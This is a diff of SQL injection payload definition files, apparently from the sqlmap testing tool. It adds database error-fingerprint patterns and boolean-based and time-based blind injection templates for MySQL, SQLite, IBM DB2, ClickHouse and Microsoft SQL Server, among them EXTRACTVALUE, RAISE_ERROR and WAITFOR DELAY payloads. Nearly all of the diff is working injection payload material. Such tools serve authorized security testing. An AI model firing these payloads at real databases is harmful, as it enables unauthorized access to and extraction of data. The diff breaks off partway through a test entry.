<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
@@ -122,14 +141,15 @@
|
|||||||
<error regexp="org\.sqlite\.JDBC"/>
|
<error regexp="org\.sqlite\.JDBC"/>
|
||||||
<error regexp="Pdo[./_\\]Sqlite"/>
|
<error regexp="Pdo[./_\\]Sqlite"/>
|
||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
|
<error regexp="SqliteError:"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL[- ]error.*?POS\(\d+\)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.db(tech)?\.jdbc"/>
|
||||||
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -164,13 +184,14 @@
|
|||||||
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
<error regexp="\[42000-192\]"/>
|
<error regexp="\[42000-\d+\]"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="MonetDB">
|
<dbms value="MonetDB">
|
||||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
|
<error regexp="org\.monetdb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Apache Derby">
|
<dbms value="Apache Derby">
|
||||||
@@ -194,10 +215,12 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Presto">
|
<dbms value="Presto">
|
||||||
|
<error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
|
||||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
<error regexp="io\.prestosql\.jdbc"/>
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||||
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||||
|
<error regexp="line \d+:\d+: mismatched input '[^']+'. Expecting:"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Altibase">
|
<dbms value="Altibase">
|
||||||
@@ -209,12 +232,53 @@
|
|||||||
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="CrateDB">
|
<dbms value="ClickHouse">
|
||||||
<error regexp="io\.crate\.client\.jdbc"/>
|
<error regexp="Code: \d+[., ]+DB::Exception:"/>
|
||||||
|
<error regexp="Syntax error: failed at position \d+"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Cache">
|
<dbms value="CrateDB">
|
||||||
|
<error regexp="io\.crate\."/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cubrid">
|
||||||
|
<error regexp="\[CAS INFO"/>
|
||||||
|
<error regexp="cubrid\.jdbc\.driver"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="InterSystems Cache">
|
||||||
<error regexp="encountered after end of query"/>
|
<error regexp="encountered after end of query"/>
|
||||||
<error regexp="A comparison operator is required here"/>
|
<error regexp="A comparison operator is required here"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Raima Database Manager">
|
||||||
|
<error regexp="-10048: Syntax error"/>
|
||||||
|
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Virtuoso">
|
||||||
|
<error regexp="SQ074: Line \d+:"/>
|
||||||
|
<error regexp="SR185: Undefined procedure"/>
|
||||||
|
<error regexp="SQ200: No table "/>
|
||||||
|
<error regexp="Virtuoso S0002 Error"/>
|
||||||
|
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Snowflake">
|
||||||
|
<error regexp="001003 \(42000\):"/>
|
||||||
|
<error regexp="100038 \(22018\):"/>
|
||||||
|
<error regexp="000904 \(42000\):"/>
|
||||||
|
<error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Spanner">
|
||||||
|
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="SAP HANA">
|
||||||
|
<error regexp="SAP DBTech JDBC"/>
|
||||||
|
<error regexp="invalid number: not a valid number string"/>
|
||||||
|
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
|
||||||
|
<error regexp="inserted value too large for column"/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -484,18 +484,18 @@ Tag: <test>
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
|
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND ([INFERENCE])*[RANDNUM]</vector>
|
<vector>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
|
<payload>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<comparison>AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
|
<comparison>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
|
||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
@@ -503,18 +503,18 @@ Tag: <test>
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
|
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR ([INFERENCE])*[RANDNUM]</vector>
|
<vector>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
|
<payload>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<comparison>OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
|
<comparison>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
|
||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
@@ -596,6 +596,45 @@ Tag: <test>
|
|||||||
<dbms>Oracle</dbms>
|
<dbms>Oracle</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SQLite</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SQLite</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
|
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
|
||||||
|
|
||||||
<!-- Boolean-based blind tests - Parameter replace -->
|
<!-- Boolean-based blind tests - Parameter replace -->
|
||||||
@@ -824,7 +863,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -845,7 +883,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1072,46 +1109,6 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>3</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>2,3</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>4</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>2,3</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
@@ -1193,7 +1190,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1214,7 +1210,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1332,6 +1327,44 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- Works in MySQL, Oracle, etc. -->
|
<!-- Works in MySQL, Oracle, etc. -->
|
||||||
<test>
|
<test>
|
||||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||||
@@ -1372,27 +1405,6 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - Stacked queries</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>5</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1-8</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
|
||||||
<request>
|
|
||||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
|
||||||
<comment>#</comment>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
@@ -1452,7 +1464,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1474,7 +1485,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1525,13 +1535,13 @@ Tag: <test>
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
|
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
|
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL</payload>
|
||||||
<comment>--</comment>
|
<comment>--</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
|
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL</comparison>
|
||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>SAP MaxDB</dbms>
|
<dbms>SAP MaxDB</dbms>
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -73,7 +73,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -134,5 +133,25 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse inline queries</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of inline queries tests -->
|
<!-- End of inline queries tests -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -85,7 +85,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 stacked queries (heavy query - comment)</title>
|
<title>MySQL < 5.0.12 stacked queries (BENCHMARK - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -105,7 +105,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 stacked queries (heavy query)</title>
|
<title>MySQL < 5.0.12 stacked queries (BENCHMARK)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -207,7 +207,7 @@
|
|||||||
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>3</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||||
@@ -229,7 +229,7 @@
|
|||||||
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>3</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||||
@@ -264,7 +264,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -286,7 +285,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -307,7 +305,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -328,7 +325,48 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
|
||||||
|
<stype>4</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
|
||||||
|
<request>
|
||||||
|
<payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
|
||||||
|
<stype>4</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
|
||||||
|
<request>
|
||||||
|
<payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -490,7 +528,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>IBM DB2 stacked queries (heavy query - comment)</title>
|
